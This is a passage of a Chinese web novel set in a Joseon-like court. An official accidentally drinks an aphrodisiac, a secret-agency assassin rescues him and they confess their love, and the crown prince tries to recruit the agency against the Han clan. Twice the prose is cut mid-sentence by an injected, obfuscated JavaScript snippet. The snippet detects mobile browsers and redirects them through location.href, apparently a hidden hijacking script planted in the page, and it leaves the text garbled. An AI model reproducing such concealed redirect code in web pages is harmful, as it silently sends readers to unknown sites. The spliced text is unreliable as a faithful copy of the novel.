水心老实交代:“世子嫔想和邸下圆房,今日是良辰吉日,所以让奴婢给世子喝点助兴的。” “......” 他总算知道为什么总觉得不对劲了。宋景熙的心沉了沉,问道:“世子嫔和世子邸下还未圆房?”从全百事调查出来的结果来看,李澄和韩暎的感情并不差啊,难道不是有情人终成眷属吗? 水心苦笑道:“小的也不知道,您别多问了,嫔宫娘娘和世子邸下都还在等着呢,您赶紧离开吧。” 宋景熙又不自觉地摸了摸脖子,道:“啊,对了,那杯水,我喝了。一点点?” 其实水心摔过来的时候,他就已经吞了一点茶水下咽了,只不过仅仅是一点点。 “您喝了??!”水心大惊失色,着急道:“这个药猛烈,一盏茶内就会见效,您要是喝的不多,应该不会发作太快,您还是快早些出宫吧!” 宋景熙沉重地点了点头,走出了两步,又回头道:“红袖小姐。” 水心正急匆匆地离开,听到喊她,定住了。 宋景熙是这么想的,要是自己不打声招呼离开了,那李澄一定会很生气,而且可能会迁怒于这位小宫女。便道:“要是世子邸下为难你,就来找我好了,我姓宋名景熙,要是我去劝的话应该还是有那么一丁点作用的。唔,对了,还有宝爱翁主也是,若是找不到我,找她也是一样的,宫中女子不易,保重啊。” 水心弯腰道:“多谢,宋大人也要保重。” 宋景熙随手挥了挥,回首捏紧了衣襟,不知道是不是药起效用了,他这会感觉有点胃部有些难受了。 73. 等待进入网审 噗哧一声。 男子原本正靠在火炉边笼着袖子无聊地守夜,一边碾着地上的石子来让自己保持清醒,然而他只不过是刚打了一声哈欠,便感到脖子一凉一痛,甚至还来不及转头看看是谁袭击了他,便直挺挺地向前倒了下去。死不瞑目。 韩时元面无表情地拿裹在短刃柄上地布擦了擦残留在刀身上的血,再将沾满血迹的布丢在地上,并未多做停留,也不处理尸体,转身便走。 韩氏养的死士。这样的人,已经是他杀掉的第七个了。 韩氏虽然财大气粗,敢豢养死士,但说到底也不敢养成兵团,只不过是不成气候的一伙家兵,就之前他监视的结果来看,这群“死士”如今最大的用处只有给韩氏在王城或郊外的一众私宅守夜。 若仅仅是这样,自然是不必杀的,只可惜这些死士参与过不该参与的事情。 所以该死。 所以,他才不做任何藏尸的处理。他就是要让韩氏知道,有人在杀他们的死士。而且,无论他们怎样警戒,都不会阻拦他继续动手。 这样想着,已经走出这处私宅的韩时元眼底再次划过一抹狠戾。这处私宅处在王城边缘,他将短刃插回腰间鞘里,抬眼望向那片王宫。 已然深夜,王宫数处宫殿依然亮着灯火。 宋景熙被突然召入了宫里,这他不是不知道,就是因为他知道,所以才有空闲出去处理那些韩氏的走狗。 韩时元垂眸凝神片刻,回想了一下曾经记过的王宫地图,又抬眼重新望向那片王宫,找出了东宫殿的位置。 现在,他要处理的事情处理完了。看着那片地方,韩时元的神情终于缓和了下来,眼神中也终于有了柔色。 只是不知,那人回来了没有...... 王宫外。 宋景熙跌跌撞撞地走了出来,要不是黑夜遮盖了他潮红的脸庞,让他看起来不那么狼狈,不然他真是差点要死在宫里了——不是丢了性命,而是脸面死了。他是记得那位小宫女说的这药作用快而烈,所以和小宫女分别后立刻就往宫外走了,可是没了人引路,多年不曾进过宫的他早就忘了怎么寻路,误打误撞走了好多条死路,好不容易遇到一伙宫女,腆着脸上去问路,这才成功出来。可他在宫内寻路耗费的时间太多了,已经足够喝下去的药起效用了。 他特别怕,害怕那些宫人看见一个面色潮红、走路姿势怪异的男子出现在宫中,会误以为是变态,那他第二日就可以直接在汉阳出名了。所以,就算再怎么难受,他也费力憋着不表现出来,就害怕自己二次出名。 可是,身下那种折磨人的感觉,以及一阵又一阵的浪潮几乎要将他逼疯,简直让他欲哭无泪,究竟哪里弄来的这么猛烈的药啊??! 这种药真的会在那档子事上助兴吗??这么折磨人,哪里助兴了!究竟是谁发明的! 好不容易出了宫,可算是没人了。宋景熙差点跪在地上,好歹扶着墙才让自己没一下子膝盖撞地——他膝盖软了。 他脑海里只有一个念头:这个样子,是绝对不能回家的,那他...那他......只能回曳扇台了! 咬咬牙,宋景熙捏了捏膝盖,硬是给自己来了点力气,尽量忽略下腹和腿间汹涌的感觉,吃力地往曳扇台的方向去。 ......不知走了多久。 他再吃力地抬眼看去时,发现自己竟然还未走出这条街,所幸到了拐角处,这条路右拐也能够到达曳扇台,来不及多想,便继续摸着墙沿路走,偏偏没走出几步,大抵是因为耗了太久,这下他彻底走不动了,弯起腰手掌紧紧掐紧大腿,下唇快被他自己咬得出血,克制地喘了几口气,心想完蛋了。 完全没注意到身后越来越重的脚步声。 扒在墙上的手指卸了力,撑不住的双腿也向下跪去,可他的膝盖根本没碰着地,一双有力的手臂便从他腋下插过,将他完全支撑了起来。这股力量使得本就没什么力气的宋景熙不由自主地上半身往后倒去,他几乎是同时扭头往后看去,看到那张熟悉的俊美的脸。 宋景熙呼了一口气,想说一句“还好你来了”,但是难受得说不出来,只好任由自己往后躺去,贴紧了韩时元的胸膛,然而刚碰到,他就立刻惊讶地心想:“好凉”。 是真的很凉。 与他的感觉不同,韩时元觉得怀里的人烫极了,仿佛刚从热汤里泡出来一般。他几乎不带犹豫地将宋景熙圈在怀里,让其不必靠腿的支撑站着,然后抬手将手背贴在宋景熙的额头上,冰凉的触感将宋景熙冰得一震。宋景熙刚想说“你真的好凉”,便听见头顶韩时元沉声道:“你发热了。怎么回事?” 宋景熙一下子哑了,他总不好说自己误喝了人家夫妻之间的药吧?简直是羞于启齿! “...我不知道...我现在、很难受......” 他想自己可能是真的发热了,头脑一热,干脆糊涂地将韩时元的手掰了下来握在手里,冰冰凉凉的,自己的手烫烫的。竟让他心底喟叹一声,好痛快。 他真是需要那么点冰凉的东西。他太热了。而且不满足于这一点冰凉。 韩时元微微一愣,随即伸出另一只冰凉的手覆过去,两只指节分明、煞是好看的手裹住宋景熙滚烫的双手。这样下去也不是办法,宋景熙的体温还是很热。 他的眸色沉了沉,大概猜到发生了什么。他们才分离了一个不到时辰,宋景熙就出现了这样莫名发热的症状,只有一个原因,在宫里被人下药了。 至于是什么药,他还不确定。 “我带你回去。” 说着,韩时元便抽出一只手来,然后反手安抚地拍了拍宋景熙的手背。宋景熙本来下意识地想捉住抽离的手,这下也被安抚下来了,又听见韩时元在他耳边再次轻声道:“我带你回去。” 紧接着,宋景熙顿时感到一阵天旋地转,人也腾空了...... 他竟然被韩时元横抱了起来! 意识到这一点后,宋景熙也清醒了一点,他第一个下意识的动作是去扯自己的下裳,以免自己尴尬的情况被发觉,他扯完了才尴尬地抬头看了眼,发觉韩时元并未看他,而是直视着前方,神色并不好看。 宋景熙憋了憋,艰难开口道:“去哪?” 韩时元道:“曳扇台。存善堂太远,你撑不住,等到了曳扇台,我去存善堂......” “不去。”宋景熙咬了口舌头,没让自己被身下起的浪潮逼出声音。 韩时元怔了怔,看向怀里抱着的人,正欲开口说什么,原本盯着他的下颌的宋景熙却垂下了眼眸,心里崩溃道别看我,再次咬舌道:“我不去。” 他本来有想去存善堂的,可是存善堂的确太远了,他也改变主意了,实在是太难受了,自己决计熬不过去的。他先前虽然从未亲身接触过这种助兴药,但是也是知道这种传说中的药是有多霸道的,而且!而且这种药大多被用于妓坊!这他也是知道的!那些有心却无力的男子为了一展雄风,就会喝下这种特制的药。 比如群芳馆,就有! 既然如此,那掌管着这种药的群芳馆的主人就一定知道解除这种药的方法,不然要是这种药被人拿去做坏事,而她们却没有办法解决的话,那岂不是吃哑巴亏了,所以,她们一定知道不必靠肌肤之亲就解除药效的方法。 当机立断,宋景熙立刻用残存的那么一点理智可怜地道:“带我...去,去群芳馆......” 韩时元道:“群芳馆?” “对,就、就是群芳馆。”月光刺眼,以免自己涨红的脸被发现,宋景熙干脆举起手臂遮住了眼睛,“那里,可以帮忙......” 韩时元道:“好。” 宋景熙紧紧咬住了下唇,试图想起一些别的事情来转移自己的注意力,只不过脑中完全是一团浆糊。他感到自己被抱着平稳地走了很长一段路。 群芳馆。 申娘也没想到,已经几个月没见过的宋公子会在深夜造访,这个点,连她都快睡下!造访就算了,宋公子竟然还是被一个相貌俊美但神情冷峻的男子抱在怀里,而且!宋公子竟然还很是依赖信任地将脸埋在那名男子胸前??尚想不明白这是怎么回事,那名男子便万分小心地将宋公子放了下来,虽然让宋公子脚着了地,却仍然是拥抱着的姿势。 申娘支吾道:“这...这是?”她看向方才前来通报的妓生,妓生却摇了摇头,她也不知道什么情况,就是听这个男人报了宋公子的名字,而且要找馆主,这才过来通报的。 宋景熙借着力转了过来,满脸欲哭无泪。申娘一看就明白了,这样的脸红!这样的气喘吁吁,这样的浑身无力,见多识广如她,怎能不明白这是怎么回事?她立刻啊了一声:“请随我来!” 阁内。 宋景熙被扶着躺到了榻上,整张脸红得熟透了,眼睛也睁不开了,额头甚至夸张地冒着热气,申娘心道不妙,赶紧朝韩时元道:“你快摸摸他的额头。” 韩时元用手背靠了靠,沉声道:“很烫。” 申娘道:“遭了。”随即露出为难的神情,她经验老道,听见喘声了,这种一看就不像是正常的发热,一看就是被人下了什么东西,而且肯定是初次使用,只有初次服用者才会有这么强烈的反应! 韩时元寒声道:“他中了药。” 申娘道:“是中了药!” 韩时元道:“可否有应对之法?” 申娘道:“哎呀!中了这档子药,除了那样子,还有什么应对的法子呢!” “......”韩时元锁紧眉心:“没有别的办法?解药之类。” 申娘道:“嘶,有是有的。我们这拿来助兴的药就有解药,只是不知宋公子服下的要究竟是什么,自然也就不知我们这儿的解药究竟起不起作用,况且要是没作用反而吃坏了身子,我们也担当不起啊。您是他的什么人?” 韩时元道:“若是一直不缓解,也会坏了身子。请拿药来吧,麻烦了。” 这人没有回答是宋公子的什么人,申娘想,按原则来讲,她是不应该答应的,可是...... 申娘站起身来,果断道:“请稍等。”说完便推门出去了。 韩时元再次将手背靠在宋景熙额头,还是一样的烫,像是风寒导致的发热,这样再持续下去,迟早把人烧傻。 他不知道究竟是谁给宋景熙下了这种药,但想来和那位召人入宫的世子脱不了什么干系。 想杀人。 突然,宋景熙难受地哼了一声。 眼中戾气消弭片刻,他立刻握住宋景熙的手,紧紧按在手心里。 过了一会,申娘回来了,手里多了一个拿油纸包着的玩意,打开是一颗土色的小药丸,将之喂到不省人事的宋景熙嘴里,用温水灌下去。大功告成后,申娘擦擦额头的汗,呼一声道:“再等会,应该会起作用的。至于作用怎么样就...不好说了。” 韩时元凝视着宋景熙的脸嗯了声。 申娘见他看得如此入神,心里的猜测又涌起来了,便再次试探性地道:“公子,看你面生得很,是宋公子的什么人?” “......” 申娘心里哦了一声,改口道:“他是你的什么人?” 韩时元道:“重要的人。” 申娘意味深长地点了点头,不再提问了,这时,门外有人敲了敲门。外边一一道女声响起:“馆主,安大人找你呢!” “公子,麻烦照看着了,有什么事再找我啊!”申娘急匆匆站起身来,冲外面道:“来了!我马上就过去!哼,这家伙......” 韩时元无声点了点头,眼神从未从宋景熙身上离开过。 阁门再度被关上。 不知过了多久,安静到甚至可以听到阁外寒风呼啸而过的声音。在伸手探了额头无数次之后,宋景熙的体温终于明显降下来了。 韩时元扶着额松了一口气。有效就好。 ——叩叩。 又有人敲门,外边一道陌生的女子声音顿然响起:“公子!馆主有事情交代!” 韩时元起身开门,院门外远远站着一名妓生,妓生招呼他走过去,这才看见这妓生的腿边还放着一桶水,桶靠在墙边,桶边还放着一块白色的布。妓生指了指水桶,道:“馆主说发热出了汗要记得擦身子的,不然病人不仅会睡得不舒服,还可能再次生病。我们这些女子都不方便,公子你来吧!” 韩时元点头道:“好,多谢。” “不用谢。”妓生说完,急匆匆走了。 韩时元将这桶水提进阁里,然而他刚走进阁里,就差点绊了一跤——不是跌的,而是他看见宋景熙竟然从地上站起来了! 宋景熙一只手撑着墙,耷拉着脑袋,听到有人进来,眯起眼睛看过来。 韩时元立刻将水桶放在门边,走上前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841533|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,伸出手正欲扶住宋景熙。宋景熙眯着眼睛眨了眨,似乎是在仔细看来人是谁。 没想到下一刻,韩时元还并未碰到他,他便突然发难,重重地推了韩时元一把,然后整个人压了上去,将其摁到在了地上! 韩时元瞪大了眼睛。 宋景熙大腿一压,跨坐在他身上,然后将双手压在了他的胸口。 “......” 也许是余热未退,宋景熙的脸看起来还是有些泛红,尤其是脸颊两处酡红,让他看起来像喝醉了酒一般。的确,行为也如同醉倒了的酒鬼。他难过地道:“好、好难受......” 韩时元心道看来还并未完全消退,那颗药丸的药效还是得再等等。他正在想到底怎么让宋景熙从自己身上下来,忽然感到腰腹处被人挤了挤。宋景熙埋头再次难过地哼了一声。 “............”韩时元猛地捂住了半张脸,半晌才艰难地蹦出一句话:“下来...好不好?” “别说话!”宋景熙严厉道。 这时他不知又为何变了一个人,说话虽然还不够利索,但语气却是不容置疑。他将摁在韩时元胸口的两只手改为叠在韩时元的心口,就这么保持这个姿势,皱着眉头等了一会。一会过后,又将一只手挪过来放在自己的胸口,静静地等了一会,皱眉更深了。 他突然语气低落道:“为什么我的、我的心跳这么快。” 韩时元愣愣地说不出话来,听到这句话,柔着语气道:“先起来好不好?” 宋景熙眯着眼睛盯着他:“你的心跳呢?” 韩时元眨了眨眼。他的? “为什么不快?” 韩时元道:“你生病了,所以才会快......!” 他再次地、彻底地瞪大了眼睛! 宋景熙竟然将整个人凑了过来,将唇贴在了他的脸上! 温热柔软的触感碰在靠近唇角的地方,韩时元怔得说不出话来。宋景熙突然又挪开脸,展露出一副笑颜,似是有些得意洋洋:“变快了!” 变快了?他的心跳?何止是变快,方才那一瞬间,他的心脏快要冲破胸膛跳出来了! 韩时元举臂挡住眼睛,还没缓过神来,宋景熙就强硬地掰开了他的手臂,蛮横道:“不许挡。” 韩时元闭眼窒息道:“你什么时候喝了酒。” 宋景熙道:“我没喝酒。”他再度眯了眯眼,似是在回忆,随即低下脑袋:“好吧...喝、喝了一点点。” 韩时元睁眼道:“谁给你喝的?” 宋景熙已经听不下去了,突然捂住韩时元的口,不让他说话了,然后又猛地捧住他的脸,凑近了看,忽然喃喃道:“真的是你啊......” 韩时元道:“不是我?还是谁?” 宋景熙再次捂住他的口,不让他说话。过了一会,他自个儿喃喃道:“你的心跳好慢。” 韩时元:“唔唔。” “你也从来不脸红。” “从来不问关于我的事。” 韩时元再次唔唔道:”我没......” 宋景熙低落地垂下眼道:“你为什么不喜欢我......” “...........................” “凭...什么我喜欢你...你却不...喜欢我......”他边说边抬起头,却看见一张通红的脸。一双眸子睁得极大极大,正盯着他。 “?”宋景熙道:“你的...脸好,好红。” ——砰的一声,阁门被一把推开,申娘手里握着一壶什么东西正欲进来,见到阁内的状况,惊叫了一声,下意识地立刻关门,刚关上又立刻打开了,斥责道:“你这是趁人之危......” 等她看清了到底是谁压着谁,这句话就卡住了。 “??” 她讪笑道:“不好意思,打扰了。”说完,砰地一声,又关紧了阁门。外边竟然吵闹了一阵,听声音像是几个女子。 声音消失后,韩时元也冷静下来了,呼吸颤颤地长呼了一口气,他心情颇为复杂地看了一眼眼神呆滞的宋景熙,这样分明就是还不清醒的状态。 他心底再次叹了口气,捉住宋景熙捂在他脸上的手然后握紧,同时从地上坐了起来,另外一只手便绕过去扶住宋景熙的背不让其跌下去,他唇舌得了空,立刻语气无奈道:“谁说我不喜欢你。” 宋景熙皱眉道:“你自己说的。” 韩时元否认道:“我从未说过。” 宋景熙拍了拍他的心口:“你这里,它告诉我的。” 韩时元胸膛震了震,再次无奈道:“它说的不准。” 宋景熙郁闷道:“怎么会不准呢?有人跟我说,面对一个人,心跳跳得快,就是喜欢......” 韩时元捂了捂心口,呼了一口气,也镇静不下来了,而是将握在手中的宋景熙的手带到自己的心口摁着,道:“那它现在是准的了。” 宋景熙垂眸感受了一阵,紧接着忽然瞪大了眼睛。 韩时元的瞳孔颤了颤,轻声但没有半分犹豫:“我从未说过我不喜欢你。相反,我喜欢你,已经到了无以复加的地步。言语无法承载我的这份喜欢,若是你没办法感受到,那就让它来告诉你。” “......”宋景熙也不知道是清醒了还是没清醒,总之看神情就是震惊得说不出话来。他掌下接触到的那块地方,跳动得是如此之快。他的手宛如摁在震颤到绝不能停的鼓上。 韩时元凝视着他,道:“它跳得并不慢。” “我脸红过。”顿了顿,补充道:“只对你。” “我对你,永远是想要了解更多。” 宋景熙忽然捏紧了韩时元心口的衣服,结结巴巴道:“那...你、我、你也喜,喜,呃,我。” 虽然他说得零碎,但听到这个“也”字,韩时元的心既跳了跳,又不禁软了下来,一双宛如溪水般的眸子盯着眼前人,温声道:“我喜欢你。即便你不喜欢我,我也喜欢你。” 宋景熙瞪着他道:“谁说我不喜欢你!” 韩时元笑道:“我爱你。” 这下,宋景熙又愣住了。 那张俊美的脸,如此明亮的眼睛,完全占据了他的瞳孔。 他晃了一晃,再也忍无可忍,凑上前去,和那双唇碰在了一起。 ...... 74. 等待进入网审 曳扇台。 韩时元刚踏入前厅,便见天锋走了过来。天锋神情古怪,似是有些不爽,又有些难以启齿地道:“老大。有人找你。” “谁?” “宫里来的人。” 韩时元微微眯了眯眼:“宫里来的人?”他现在可对宫里的人没什么好印象。 天锋点头道:“对,持着王世子的腰牌,但并不说自己的身份,而且脾性很古怪,很难伺候,台主在问天沛和天铃地牢里的人的情况,他竟将他们都赶了出来,台主也叫您赶紧过去。” 韩时元道:“知道了。” 进了内厅,李珘一个人待在里头,见到韩时元进来,立刻朝背后会客室的方向怒了努嘴,用嘴型道:“世子来了。” 世子? 韩时元不动声色地点了点头。倒是来得好。 踏入会客室,果然有个一身绀紫色外袍的男子正神色不爽地坐在交椅上,一见到有人进来,两只凌厉漆黑的眼珠就定死在了来人脸上。 李澄压下心底的怨愤,心想,这就是自己大婚那夜出宫找宋景熙,宋景熙喝醉后抱着的那个人。 他聪明,那时虽然感到嫉妒和愤怒,但他没忘记那个人的装束,很明显就是曳扇台密使的衣服,只是与一般密使略有不同。做了王世子有一个好处,就是可以接触到做王子时绝不能接触的曳扇台,也自然就能得到王和王世子才能得到的密使。 怀疑那人是曳扇台的之后,他就拿了密使名册来看,密使一般都以有字辈,不知是怎么分配的,字辈多得很,混乱得他根本看不懂,什么“天”字、“千”字、“玄”字,皆有数人,唯独有一个字辈只有一人,“时”字辈,叫做“时元”。 并且此人的详细档案全都没有。因此他猜测,这个叫做“时元”的密使就是大婚那晚他看见的家伙。 现在,终于见到本人了。可是...... 凭什么? 他满脑子里只有这一句话,差点忘记自己的来意,直到这名在密使名册上名叫“时元”的男子不经他的示意,直接拉开椅子坐了下来,随意瞥了他一眼,并无人臣之礼。 凭什么?!李澄怒极反笑道:“还有这么胆大的密使?” 韩时元语气平淡道:“何事?” 李澄压了压怒火,道:“我是世子。” 韩时元:“哦。” 李澄怒而拍桌道:“你算什么东西,敢无视我?!” 韩时元并不想废话,直接站了起来,大踏步离开道:“浪费时间。” 外边,一直悄悄旁听的李珘重重地咳了一声,突然出现在门口挡住了韩时元的去路,并且朝韩时元甩了个颜色,韩时元让开后,他便缓步踏了进来,甩袖负手道:“世子邸下,有话好好说嘛。” 李澄将握紧的拳头悄无声息从桌上挪到桌下挡住,缓和脸色道:“还是台主识礼数。” 李珘心道我是你伯父,一边笑呵呵地拉了李澄对面的椅子坐了下来,并且招呼韩时元一起坐下。这下三个人都坐定了,李澄的脸色也恢复如初,心知不能过于激动,便挤出一丝笑道:“我也不是过来说废话的,那就直说了。我要你们替我潜入韩府,找找韩义亨包括韩圣吉的把柄,不必担心他们是否有把柄,他们一定有。找到了,再交给我。” 韩时元无声地嗤笑一下。 李珘心想这侄子口气真大,但面上依旧保持笑颜,道:“世子邸下为何如此要求?” 李澄道:“有仇。” 李珘道:“世子邸下,好像...曳扇台并不是报私仇的地方?” 李澄道:“曳扇台是不是王的家臣?是不是王的利剑?” 李珘道:“是没错。” “那就对了。”李澄勾起唇角:“我是将来的王。我让你们做什么,你们自然也就应该做什么。” “......”李珘无意识地扯了扯唇角,这侄子......初次见面就脾性就如此桀骜,不是块好料子。 他心中叹了口气,心道:“玟,你可能选错了。”嘴上又道:“话虽是这么说,但世子邸下,曳扇台做什么都是要得到主上首肯的,既然邸下你要我们去捉韩氏的把柄,这件事主上他是否知道?” 李澄皱眉道:“这是我的私事。” 李珘道:“以公报私仇?” 李澄哼道:“是又怎样?我是世子。” 李珘叹气道:“我们不是公,世子邸下,请回吧。” 李澄咬咬牙,忽然握拳不轻不重地锤了一下桌子,提高声音道:“不准走!” 他扫了一眼李珘和面无表情的韩时元,最终目光落在韩时元脸上,眼神阴鸷道:“你也想报仇,对吧?” 韩时元原本已经站起来离开几步了,听到这句话,微微侧身,虽并未说话,但这对李澄来说也足够了,他哈哈笑出一声,道:“你是不是觉得很奇怪,我怎么会知道你有仇人想报仇?时元?是叫这个名字对吧,这并不奇怪。”他眼神变得凌厉起来:“我不仅知道你叫时元,我还知道你姓韩!” 韩时元猛地转身,手撑在桌上,盯着李澄,正欲说话,李珘却感觉不妙,抢问道:“世子邸下!你怎么知道??” 李澄嘶了一声,摸了摸下巴,“哦——原来你真的姓韩啊。”他微笑道:“其实我是猜的。” 韩时元握紧了拳头:“说清楚。” 李珘赶忙道:“猜的?!” 胡说吧!这怎么可能猜得到???他根本就没在曳扇台的任何档案或名册里透露过时元姓韩这件事!再说了,时元的身份跟他一样保密得紧,怎么会被人随意知道!就连主上也不知道时元这孩子姓韩! 他颇为复杂地看了韩时元一眼,心想这小子是不是做了什么暴露了。 李澄继续微笑,只是这微笑难免让人觉得心烦和厌恶。他道:“你和韩氏有仇,我说的可对?韩时元。” 韩时元的眼神瞬间冰冷下来:“你到底想说什么。” 李澄哈哈一笑:“你很好奇我为什么会知道是不是?其实,这也是我猜的。” 李珘心惊胆战道:“世子邸下,你别开玩笑了。哈哈......” 李澄盯着韩时元,道:“说是我猜的倒也不对。韩时元,是你自己的眼睛告诉我的。” 韩时元冷声道:“装神弄鬼。” 李澄哼笑一声:“你当然不信了。说了这么多,我的目的只有一个。”他看了一眼李珘,想起台主毕竟是父王的心腹,若是在父王跟前讲了自己的坏话,对自己一点好处也没,看来还是得继续保持谦卑,便低笑了一声,道:“方才我说是要求这不对,毕竟我还只是世子,不敢逾矩。实际上,我是来同曳扇台合作的。” 李珘感觉有些莫名其妙。 “有人同我说,韩氏做了一些大逆不道的事情,而且不止一件,贪赃枉法,就没有韩氏不敢干的。虽必须承认我是看韩氏不爽,有些私仇,但这也是因为韩氏那群人本就非人臣,有这样的人在为国家效力,实际上是在吸朝廷和国家的血,我作为世子,父王将重担交于我,我自然 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他刚从东郡赶回汉阳的时候他就马不停蹄进宫谒见了,也总算劝服了王上,让王上答应了他的意思,不再对韩氏宽容半分,而是同意了他的想法,先决定让韩时元先杀掉那些韩义亨雇来的走狗,同时让部分密使密切监视韩氏的活动。这样实际就是一种警告和试探,韩义亨要是真的心里没鬼,就不会觉得是王上在搞他,而是会怀疑是不是是哪位仇家,要是心里有鬼,就会意识到自己乃至家门已经陷入了危险之中,狗急跳墙,当他做出什么指向王上的违抗行动时,剿杀就可以开始了。 偏偏那些走狗杀到现在,韩氏依旧没什么动静。上朝时韩义亨和韩圣吉的神色也一如从前,并无异样。 就是不知,王世子李澄竟然会出乎意料地插手进来,而且一开口就是针对韩氏。 李珘心下叹道:“找错人了,根本没有合作的必要啊,我们自己有计划。” 显然,韩时元也这么想。他冷哼一声:“对于曳扇台,你并无合作的必要。” 李澄不怒反笑道:“你会和我合作的。” 韩时元道:“凭何?” “因为在你的眼睛里,我看到了你的恨。”李澄露出一抹诡异的笑:“我看见了,那天晚上,你看向韩圣吉的眼里,有和我一样的恨。这就是我为什么猜测到你姓韩的原因。而起初,我只不过是怀疑你和韩氏有些过节而已。” 之所以能猜对韩时元的姓氏,其实也只是他大胆的孤注一掷罢了。而且他赌对了。 果然姓韩,而且一定和韩氏有着不共戴天的仇恨! 那种充斥着浓烈恨意的眼神,他再清楚不过了,没有人比他更清楚那是怎样的恨意,因为一直以来他就是用这样的眼神看待韩义亨何韩圣吉的。 凭借着这份相同的恨,他就可以摧毁他想要摧毁的任何东西。所以他才会找上门来。他要让韩义亨和韩圣吉知道,一切都是有代价的。 李珘来回看了韩时元和李澄好几眼,惊讶得要死,想问咋回事却又问不了,心里抓耳挠腮地急死了。 李澄笑道:“合不合作?我们有共同的利益,不是吗。” 韩时元的手背青筋尽显,他忽然嗤笑一声,抱胸道:“你想错了。” 李澄微笑。 “这件事情,我没有决定权,你更没有。” 李澄的笑僵了半分。“你想怎样?” 李珘抓心挠肝了半晌,忽然脸色一定,哦了一声,恍然大悟般笑眯眯地朝李澄道:“世子邸下,这件事情恐怕还得告知一个人。” 李澄皱眉道:“我不希望其他人知道这件事。如果是父王的话......台主,你最好不要这么做。” 李珘道:“放心,不是主上,世子邸下,麻烦耐心稍等一会吧。办事情都是这样的,总要等一会,结果才会好。” 75. 日薄其五 自打上次在群芳馆的一通糊涂过后,也不知是因为糊涂过头了,还是说是那药的副作用太大,总之,宋景熙病倒了。 这又不是什么好交代的事情,为了好养病,宋景熙只能被送到存善堂去养病。 ——存善堂—— 洪英正在庭院扫雪,见到有人进来,只稍稍瞥了一眼,看清是哪个人后,便当作没看见,继续做自己的事情去了。 自从封馆之后,一直以来,她都是这么过的。 宋景熙躺在榻上,一只手枕在头下,一只手握着一卷话本,正努力地全心全意投入书上所讲的故事当中。但始终心定不下来。 这时,他听到房门被推开的声音,料想到是韩时元,便笑嘻嘻地丢开了书,掀开温暖的被窝一角,拍了拍。 韩时元自然而然地走了过去,然后躺了进去,宋景熙给他掖好被子,并且分了半截枕头给他。两人面对面,宋景熙再次露出笑容,被子下的手伸出去捉住了韩时元藏起来的手,出乎他的意料,不是他以为的冰凉的触感,而是相当温暖。 “看来,我给你的手炉还是很好用嘛,对吧?” 韩时元看着他笑道:“是你给的,当然好用。” 宋景熙道:“那你方才藏什么?” 韩时元垂眸笑了笑,然后反手捂住宋景熙的双手握紧,没有回答宋景熙的问题,反而将宋景熙的手带到脸边蹭了蹭,宋景熙就势摸了他的脸一把,惊道:“好凉。” 韩时元道:“外边太冷了。” 宋景熙心想,自己这几日一直都锁在这间暖屋子里,根本冻不着什么,差点忘了外面还是冰天雪地的,雪重得都能压塌纤细的树枝了,这样想着,他便再挪动靠近了一点,认真道:“我想我现在好得差不多了,要是家中人再不见到我的人,怕是会以为我遭了什么危险,所以我打算待会便回家中一趟,一来在母亲面前露个脸,二来取些御寒的衣物带给你。那些集市上买的帽子都不好,你不要戴,用我的。” 韩时元贴紧了他的手:“好。” 见他这样乖,宋景熙下意识地咽了一下口水。他不知为何想起前几日晚上的事情,他就和眼前这张近在咫尺的薄唇纠缠了半夜。 他只思考了一瞬,顿了一顿,没有多做犹豫,轻轻地凑了上去。韩时元先是微微一怔,眼波一动,然后启唇加深了这个吻。 ......两人渐渐一上一下地滚在一起。 绵长的一吻毕,宋景熙不知怎的又坐到了韩时元身上,只不过与其说是坐着,不如说是半趴着。宋景熙也干脆就趴了上去,头伏在韩时元的胸口,耳边是一波又一波的震颤。 明明如此触手可及,他却突然觉得有些不真实。 从前,他从来不相信,也不期待会有这样或那样的一个人出现在他身边,更不认为自己会被这样或那样的人吸引,因此也就从未想象过自己会如此迫切地想要和一个人在一起。可是这个人真的出现的时候,他意识到自己已经无可救药地被吸引住的时候,他却迷茫了。 这样的感情,真的会被接受吗? 绝对不会的。 男女之间尚没有几个能修成正果的,男子和男子之间就更不必多说。他虽然在情爱这方面修炼得有所欠缺,对情爱之事更是不感兴趣,但他也是知道的,知道男子和男子之间不是没有情爱可言,可就算有,那也都是一些上不得台面的事情,譬如有些妓坊也是有男子的,只是这些男妓生和寻常妓生并无区别,是不能和其他男子相爱并在一起的,因此也就更无什么修成正果可言。连话本子都不这样写,话本子上都是这么写的:这是违了人伦和禁忌的情爱! 所以他纠结。 他不知道自己哪一天会不会被父亲突然逼婚,譬如不成婚就将他逐出家门,甚至更严厉的手段......这些他倒还扛得住,他只是怕母亲不得不以死相逼。似乎在父亲眼里,母亲的作用就是这点。 他更怕,要是父亲被逼急了,会不会突然哪一天找位无辜女子进了家门塞给他。 就是怀疑父亲迟早有一天会这么做,所以他才纠结。 纠结过后,他决定将心底的事情藏起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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从前,有一位喜好闯荡游历的世家小姐。有一天,这个世家小姐在外闯荡游历时,遇见了一位风度翩翩的男子,这男子满腹诗书,又花言巧语说得得心应手。也许是话本子看多了的缘故,又也许是被家族保护得太好的原因,世家小姐对这样的男人总是充满了幻想。很快,世家小姐和男子陷入了爱河。 世家小姐生性不羁,并不在乎那些礼教规矩。而这份天真的不羁却使她遭到了痛苦和不公。在她发现自己有孕时,满心欢喜地找到男人,憧憬着奉子成婚的美好。而男子却毫不犹豫的拒绝了。世家小姐很悲伤,很快,她发现,这名男子是有家室、有正妻的。而这名男子,是当朝最具权势的兵判之子。 